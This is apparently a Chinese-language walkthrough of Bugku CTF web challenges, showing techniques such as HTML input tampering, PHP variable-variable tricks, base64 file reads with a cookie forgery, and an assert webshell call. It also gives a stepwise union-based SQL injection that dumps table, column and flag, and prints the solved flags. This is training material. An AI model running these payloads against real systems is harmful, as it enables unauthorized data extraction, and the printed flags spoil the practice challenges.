bugku web专题
- 计算器
http://123.206.87.240:8002/yanzhengma/
发现只可以输入一位数字,于是查看源码
可以看见maxlength为1
所以只能输入一位数,修改一下。、
Flag得到
2.
http://123.206.87.240:8002/post/
当what post传值等于flag时输出flag,使用火狐浏览器的hackbar
- 矛盾
http://123.206.87.240:8002/get/index1.php
is_numeric() 函数
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
矛盾的是又说了如果num是1输出flag,php输入1xxxxx默认第一个1数字
- web3
http://123.206.87.240:8002/web3/
查看源码
Unicode编码可疑,在线转码得到
4变量1
http://123.206.87.240:8004/index1.php
var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
有个博客讲的特别清晰https://blog.****.net/xuchen16/article/details/82737194
可变变量$$args。如何赋值 $args=GLOBALS $$args = $GLOBALS,就是输出所有的全局变量
得到array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }
flag{92853051ab894a64f7865cf3c2128b34}
5web4
http://123.206.87.240:8002/web4/
看到这个unescape
了解了unescape解密
按照代码拼接要求,输入eval返回值得
6.cookies欺骗
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
看这个urla2V5cy50eHQ=显然的base64加密解密可得为keys.txt
按他这个意思就是base64加密访问。Line为行数
Index,php base64加密为aW5kZXgucGhw
写脚本得出全部的index.php代码
这里cookies中的margin是margin
才可以得到keys.php
Keys.php base64编码得到a2V5cy5waHA=
用Firefox浏览器hackbar插件
Emmm得到一片空白,查看源码可以看到flag
7.正则字符
http://123.206.87.240:8002/web10/
源码意思是匹配成功李才可以看到flag
/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
//
双斜杠代表我要匹配的
。*匹配一个数字任意次。数字 {4,7} 前一个字符重复4到7次 \/.\/意思是/一个数字/ [a-z] a-z任意一个字母 [[:punct:]] 任意一个符号 I 意思是字体
那我构造
Key222key22222key:/2/222keya.
8.过狗一句话
Assert自由
传值s=print_r(scandir('./')) 或者 s=print_r(glob("*.*"))
(推荐一个博客https://blog.****.net/xuchen16/article/details/82798464
看到这个这些个玩意试试打开就好了
- 这是一个神奇的登陆框
http://123.206.87.240:9001/sql/
此时他显示 try again
测试admin_name=qqq'&admin_passwd=111&submit=GO+GO+GO
依旧,说明‘被过滤啦
测试admin_name=qqq"&admin_passwd=111&submit=GO+GO+GO
显然“可以
测试admin_name=qqq" %23&admin_passwd=111&submit=GO+GO+GO没有报错,需要注释一些多余的东西
admin_name=qqq" union select 1,1%23&admin_passwd=111&submit=GO+GO+GO
发现回显位置在login_name
爆数据库名
database(),1%23&admin_passwd=111&submit=GO+GO+GO
爆表名
admin_name=qqq"union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),1%23&admin_passwd=111&submit=GO+GO+GO
爆字段
admin_name=qqq"union select (select column_name from information_schema.columns where table_name='flag1'),1%23&admin_passwd=111&submit=GO+GO+GO
Flag
admin_name=qqq"union select (select flag1 from flag1),1%23&admin_passwd=111&submit=GO+GO+GO
ed6b28e684817d9efcaf802979e57aea
10.web 8
https://ctf.bugku.com/challenges#web8
没问题
大体上ac存在,f是从fn文件中的得到的 ,ac的值要和f相等
所以传值ac为11111,
(https://www.cnblogs.com/jianmingyuan/p/5902934.html)
写脚本
得到flag